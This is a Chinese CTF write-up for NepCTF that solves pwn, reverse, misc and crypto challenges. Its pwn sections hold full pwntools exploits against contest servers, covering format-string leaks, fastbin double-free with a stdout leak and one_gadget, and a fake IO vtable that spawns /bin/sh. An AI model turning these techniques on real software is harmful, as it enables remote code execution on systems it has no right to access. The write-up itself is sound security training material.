NepCTF WriteUp
题解中pwn用到的库为IdaManage和LibcSearcher.
IdaManage用于IDA调试 LibcSearcher用于快速搜索libc。
[pwn] 送你一朵小红花
题中随机将off_4020
中函数表中的函数存至buf[2]
中,然后调用。可以找到程序sub_14E1
函数内为后门函数,调用了system("/bin/cat /flag")
,但它不在off_4020
中的函数表内,因此可以通过覆盖bud[2]
低字节为0xe1
就有一定概率进入这个函数,多尝试几次即可。
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *
# context.log_level='debug'
REMOTE = 1
@connect(
remoteAddr='node2.hackingfor.fun:32620',
elf='./xhh',
isRemote=REMOTE,
idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
p.send(flat({0x10:b'\xE1'}))
if __name__ == "__main__":
main()
# Nep{d1e7ff52-7a0c-4255-8ce4-6e2293138fe9}
[pwn] easystack
该题为静态链接的程序,逆向分析过后,程序会先读入flag
到bss
段,然后有一个溢出点。由于程序开启了canary
保护,无法直接向ROP,但是可以通过覆盖程序的启动参数的指针,将其指向flag
的地址,利用stack_chk_fail
得到flag。
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *
context.log_level='debug'
REMOTE = False
@connect(
remoteAddr='node3.buuoj.cn:25884',
elf='./easystack',
isRemote=REMOTE,
# idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
ida.attachAndContinue()
p.sendlineafter('!!\n', flat({456:[0x6CDE20]}))
if __name__ == "__main__":
main()
[pwn] scmt
程序随机生成一个数,然后判断输入的数和生成的数是否相同,相同就给shell。输入name
后有格式化字符串漏洞,可以就直接将生成的数泄露出来。
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *
context.log_level='debug'
REMOTE = True
@connect(
remoteAddr='node2.hackingfor.fun:30146',
elf='./scmt',
isRemote=REMOTE,
idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
p.sendlineafter('tell me your name:', '%8$p')
p.recvuntil('0x')
n=int(p.recvline(False),16)
p.sendlineafter('Give me your lucky number:',str(n))
if __name__ == "__main__":
main()
[pwn] sooooeasy
一道只有增和删的堆题,题目中没有说明libc
版本,但是可以用过double free
的报错信息通过libc的低十二位查询得到libc版本为2.23-0ubuntu11.2_amd64
。
*** Error in `./easypwn': double free or corruption (fasttop): 0x0000559fda059040 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f2a0416c7f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f2a0417538a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f2a0417958c]
./easypwn(+0xd44)[0x559fd9b4bd44]
./easypwn(+0xe7c)[0x559fd9b4be7c]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f2a04115840]
./easypwn(+0x979)[0x559fd9b4b979]
======= Memory map: ========
add
函数会开两个堆,第一个大小为0x28
,第二个为自己指定。
delete
函数会将大小自己指定的那个堆块free
,并没有清空指针,存在UAF
。
思路为:
将一个大小为
0x70
的区块先加入fastbin
通过
double free
伪造区块,改大的前一个区块的大小,刚好覆盖0x70
的区块,并free
,然后再将大出来的部分malloc
出来,使得0x70
的区块刚好在unsorted bin
内。此时fd指针为libc
内的地址。覆盖低地址的
16bit
,修改fd指针为stdout
的地址,使堆块到stdout
修改
stdout
的write_base_ptr
的低字节,泄露libc
地址通过
double free
将区块开到malloc_hook
附近,改为one_gadget
即可getshell该方案成功率为
1/16
。
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *
context.log_level='CRITICAL'
REMOTE = True
@connect(
remoteAddr='node2.hackingfor.fun:31125',
elf='./sooooeasy',
isRemote=REMOTE,
idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
def add(name_size,name='1\n',message='a'):
p.sendlineafter('Your choice : ','1')
p.sendlineafter('name: ',str(name_size))
p.sendafter('Your name:',name)
p.sendlineafter('Your message:',message)
def delete(index):
p.sendlineafter('Your choice : ','2')
p.sendlineafter('index:',str(index))
add(0x60) # 0
add(0x28) # 1
add(0x28) # 2
delete(1)
delete(2)
delete(1)
add(0x28) # 3
delete(3)
add(0x28,flat(0,b'\xd0')) # 4
add(0x90,flat(b'\0'*0x28,b'\x71')) # 5
add(0x28) # 6
delete(3)
delete(5)
add(0x50,name=flat(b'\xdd\x55')) # 7 to IO+FILE
delete(6)
add(0x60) # 8
# 9
p.sendlineafter('Your choice : ','1')
p.sendlineafter('name: \n',str(0x60))
p.sendafter('Your name:\n',flat(b'\0'*51,0xfbad1800,0,0,0,b'\x40'))
libc_base=u64(p.recv(8))-0x7f5f88cb5640+0x7F5F888F0000
assert libc_base&0xfff==0
libc=LibcSearcher().prefer('2.23-0ubuntu11.2_amd64').elf()
libc.address=libc_base
print(hex(libc_base))
context.log_level='debug'
p.sendlineafter('Your message:','a')
delete(0)
delete(8)
delete(0)
add(0x60,flat(libc.sym['__memalign_hook']-19)) # 10
add(0x60,flat(libc.sym['__memalign_hook']-19)) # 11
add(0x60,flat(libc.sym['__memalign_hook']-19)) # 12
add(0x60,flat(b'\0'*3,0,libc_base+0xf1207,libc.sym['realloc']+4)) # 13
p.sendlineafter('Your choice : ','1')
p.sendline('cat flag')
if __name__ == "__main__":
main()
# Nep{4767c24e-5bf6-4953-bd9a-38533ef2fd84}
[pwn] superpower
程序先读入并输出指定文件的内容,然后一个格式化字符串漏洞。
思路:
- 读取
/proc/self/maps
泄露堆地址和libc地址 - 然后通过格式化字符串漏洞,一次性修改三个地址。1:在
bss
段伪造IO_jump_t
的close
指针,2:将堆中的IO_FILE
的vtable
指向伪造的IO_jump_t
,3:将堆中的IO_FILE
的头部覆盖为/bin/sh
- 然后通过
fclose
即可getshell
from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.util.packing import flat
from pwnlib.context import *
context.log_level='debug'
REMOTE = True
@connect(
remoteAddr='node2.hackingfor.fun:32274',
elf='./superpower',
isRemote=REMOTE,
idaAddr='192.168.138.1:9945',
)
def main(p: Union[remote, process], ida: IDAManage, elf: ELF):
p.sendlineafter('filename:', '/proc/self/maps')
heap_address=int(p.recvline_contains('heap')[:8],16)
if REMOTE:
libc=LibcSearcher().prefer('2.23-0ubuntu11.2_i386').elf()
libc.address=int(p.recvline_contains('libc')[:8],16)
else:
libc=p.libc
def write(a,totalLen,offset=27):
writeList=[]
for content,addr in a:
if isinstance(content , int):
content=flat(content)
for i,c in enumerate(content):
writeList.append((c,addr+i))
writeList.sort(key=lambda x:x[0])
last=0
i=0
r=''
for c,a in writeList:
if c-last==0:
r+='%%%d$hhn'%(totalLen//4-len(writeList)+offset+i)
else:
r+='%%%dc%%%d$hhn'%(c-last,totalLen//4-len(writeList)+offset+i)
last=c
i+=1
return flat({0:r+'\0',totalLen-len(writeList)*4:[i[1] for i in writeList]})
sleep(1)
p.sendlineafter('name?\n',write([
(libc.sym['system'],elf.bss()),
(elf.bss()-0x44,heap_address+0x9C),
(b'/bin/sh\0',heap_address+0x8),
],0x100))
if __name__ == "__main__":
main()
# Nep{1ac76172-0318-4b1e-a71a-cb3d00d08c84}
[re] hardcsharp
ILSpy
一把梭,AES后base64。原程序为
// hardcsharp.Program
using System;
using hardcsharp;
internal class Program
{
private static void Main(string[] args)
{
AesClass aesClass = new AesClass();
string text = "";
string strB = "1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0";
byte[] array = new byte[32]
{
81, 82, 87, 81, 82, 87, 68, 92, 94, 86, 93, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18
};
Console.WriteLine("Welcome to nepnep csharp test! plz input the magical code:");
string text2 = Console.ReadLine();
if (text2.Length != 37)
{
Console.WriteLine("Nope!");
Console.ReadKey();
return;
}
if (text2.Substring(0, 4) != "Nep{" || text2[36] != '}')
{
Console.WriteLine("Nope!");
Console.ReadKey();
return;
}
for (int i = 0; i < 32; i++)
{
text += Convert.ToChar(array[i] ^ 0x33);
}
if (string.Compare(aesClass.AesEncrypt(text2, text), strB) == 0)
{
Console.WriteLine("wow, you pass it!");
Console.ReadKey();
}
else
{
Console.WriteLine("Nope!");
Console.ReadKey();
}
}
}
exp:
from Crypto.Cipher import AES
import base64
key = [81, 82, 87, 81, 82, 87, 68, 92,94,86,93,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18]
key=bytes([i^0x33 for i in key])
cipher=b"1Umgm5LG6lNPyRCd0LktJhJtyBN7ivpq+EKGmTAcXUM+0ikYZL4h4QTHGqH/3Wh0"
text=AES.new(key,AES.MODE_ECB).decrypt(base64.b64decode(cipher))
print(text)
[re] 二十六进制
题目将输入的数字转化为逆序的26进制,用链表储存,符号表为2163qwe)(*&^%489$!057@#><A
,然后判断是否等于Fb72>&6
。
from Crypto.Hash import MD5
c=list(b"Fb72>&6"[::-1])
for i in range(len(c)):
c[i]^=7
b=list(b"2163qwe)(*&^%489$!057@#><A")
r=0
for i in c:
r*=26
r+=b.index(i)
print(r)
print('Nep{'+MD5.new(str(r).encode()).hexdigest()+'}')
[re] easy_mips
逻辑非常简单,在先对输入的三个特定位置异或,然后逐位减取一个数。用qemu
跑一下就可以得到异或的内容了。
c=list(b'3_isjA0UeQZcNa\\`\\Vf')
c[0]^=0x7a
c[5]^=0x24
c[6]^=0x51
v2=5
for i in c:
print(chr(i+v2),end='')
v2+=1
[re] password
apk逆向,没有加壳。先通过JNI判断key的正确性,然后通过一个改版的RC4得到密码,解压assets/flag.zip
即可。JNI中为简单的base64加密,改版的RC4将java代码复制一遍,将再次加密即可。
b64表为a-z0-9+/A-Z
,可以得到key:th1s_1s_k3y!!!!!
然后通过java
解密:
public class Exp {
public static void en1(int[] iArr, String str, int i) {
byte[] bArr = new byte[256];
byte[] bytes = str.getBytes();
for (int i2 = 0; i2 < 256; i2++) {
iArr[i2] = 256 - i2;
bArr[i2] = bytes[i2 % i];
}
int i3 = 0;
for (int i4 = 0; i4 < 256; i4++) {
i3 = ((iArr[i4] + i3) + bArr[i4]) % 256;
int i5 = iArr[i4];
iArr[i4] = iArr[i3];
iArr[i3] = i5;
}
}
public static void en2(int[] iArr, byte[] bArr, int i) {
int i2 = 0;
int i3 = 0;
for (int i4 = 0; i4 < i; i4++) {
i2 = (i2 + 1) % 256;
i3 = ((iArr[i2] & 255) + i3) % 256;
int i5 = iArr[i2];
iArr[i2] = iArr[i3];
iArr[i3] = i5;
bArr[i4] = (byte) (bArr[i4] ^ iArr[((iArr[i2] & 255) + (iArr[i3] & 255)) % 256]);
}
}
public static void main(String[] args) {
String str="th1s_1s_k3y!!!!!";
int[] iArr = new int[256];
byte[] iArr2 = {(byte)139, (byte)210, (byte)217, (byte)93, (byte)149, (byte)255, (byte)126, (byte)95, (byte)41, (byte)86, (byte)18, (byte)185, (byte)239, (byte)236, (byte)139, (byte)208, (byte)69};
en1(iArr, str, str.length());
en2(iArr, iArr2, iArr2.length);
for (int i = 0; i < 17; i++) {
System.out.print((char)iArr2[i]);
}
}
}
[misc] 签到
二进制输出即可
# 列表太长了,就不放出来了
flag =[0xffffffffffffffffffffffffffffffff,...,0xffffffffffffffffffffffffffffffff]
for i in flag:
print(bin(i)[2:])
效果图:
[misc] 冰峰历险记
Electron程序,安装在~\AppData\Local\Adventure
下,逆向app-1.0.0/resources/app/index.html
。将失败的函数注释掉即可不死。
在比对输入的函数中,加上输出语句即可得到flag。
游戏中ctrl+shift+i
打开控制台,即可得到flag。
[misc] 我是间谍2nd
目标是伪造与223.223.223.223:6001
通信。
可以通过Proxifier
添加规则,让它走向自己的python
的sock5
代理服务器,将其转发至本机1234
端口,提前打开nc
服务器即可。
import select
import socket
import struct
from socketserver import StreamRequestHandler, ThreadingTCPServer
SOCKS_VERSION = 5
class SocksProxy(StreamRequestHandler):
def handle(self):
print('Accepting connection from {}'.format(self.client_address))
# 协商
# 从客户端读取并解包两个字节的数据
header = self.connection.recv(2)
version, nmethods = struct.unpack("!BB", header)
# 设置socks5协议,METHODS字段的数目大于0
assert version == SOCKS_VERSION
assert nmethods > 0
# 接受支持的方法
methods = self.get_available_methods(nmethods)
# 无需认证
if 0 not in set(methods):
self.server.close_request(self.request)
return
# 发送协商响应数据包
self.connection.sendall(struct.pack("!BB", SOCKS_VERSION, 0))
# 请求
version, cmd, _, address_type = struct.unpack("!BBBB", self.connection.recv(4))
assert version == SOCKS_VERSION
if address_type == 1: # IPv4
address = socket.inet_ntoa(self.connection.recv(4))
elif address_type == 3: # Domain name
domain_length = self.connection.recv(1)[0]
address = self.connection.recv(domain_length)
#address = socket.gethostbyname(address.decode("UTF-8")) # 将域名转化为IP,这一行可以去掉
elif address_type == 4: # IPv6
addr_ip = self.connection.recv(16)
address = socket.inet_ntop(socket.AF_INET6, addr_ip)
else:
self.server.close_request(self.request)
return
port = struct.unpack('!H', self.connection.recv(2))[0]
# 响应,只支持CONNECT请求
try:
if cmd == 1: # CONNECT
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if address=='223.223.223.223':
address='127.0.0.1'
port=1234
remote.connect((address, port))
bind_address = remote.getsockname()
print('Connected to {} {}'.format(address, port))
else:
self.server.close_request(self.request)
addr = struct.unpack("!I", socket.inet_aton(bind_address[0]))[0]
port = bind_address[1]
reply = struct.pack("!BBBBIH", SOCKS_VERSION, 0, 0, 1, addr, port)
except Exception as err:
logging.error(err)
# 响应拒绝连接的错误
reply = self.generate_failed_reply(address_type, 5)
self.connection.sendall(reply)
# 建立连接成功,开始交换数据
if reply[1] == 0 and cmd == 1:
self.exchange_loop(self.connection, remote)
self.server.close_request(self.request)
def get_available_methods(self, n):
methods = []
for i in range(n):
methods.append(ord(self.connection.recv(1)))
return methods
def generate_failed_reply(self, address_type, error_number):
return struct.pack("!BBBBIH", SOCKS_VERSION, error_number, 0, address_type, 0, 0)
def exchange_loop(self, client, remote):
while True:
# 等待数据
r, w, e = select.select([client, remote], [], [])
if client in r:
data = client.recv(4096)
if remote.send(data) <= 0:
break
if remote in r:
data = remote.recv(4096)
if client.send(data) <= 0:
break
if __name__ == '__main__':
with ThreadingTCPServer(('127.0.0.1', 9011), SocksProxy) as server:
server.serve_forever()
[crypto] Real_base
程序用未知的表进行base64
加密,先用标准base64加密,可以得到部分替换表,再通过猜测得到完整的替换表。
import base64
m1=b"rTcb1BR8YVW2EOUjweXpIiLt5QCNg7ZAsD9muq3ylMhvofnx/P"
m1c_=base64.b64encode(m1)
m1c=b"2Br9y9fcu97zvB2OruZv0D3Bwhbj0uNQnvfdtC2TwAfPrdBJ3xeP4wNn0hzLzCVUlRa="
# A-Za-z0-9+/=
ab=b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+="
ab_=['_']*len(ab)
for i,c in enumerate(m1c):
ab_[ab.index(c)]=chr(m1c_[i])
print("".join(ab_))
# klmn_____t_v_xyz01_345___9ABCDEF_H_J_L_N___R_TUVWXYZa_cde__h_j_=
# 猜测为
ab_=b"klmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij+="
flag_c=b'tCvM4R3TzvZ7nhjBxSiNyxmP28e7qCjVxQn91SRM3gBKzxQ='
flag_e=[]
for i in flag_c:
flag_e.append(ab_[ab.index(i)])
print(base64.b64decode(bytes(flag_e)).decode())
# Nep{Wwe_a4re_b1as3r!!Bby_Ccomptine}
[crypto] 你们一天天的不写代码难道是在等爱情吗
标准银河字母、盲文、跳舞的小人、圣堂武士密码等,然后经过key
为3的W型栅栏密码,和ROT13
即为flag
。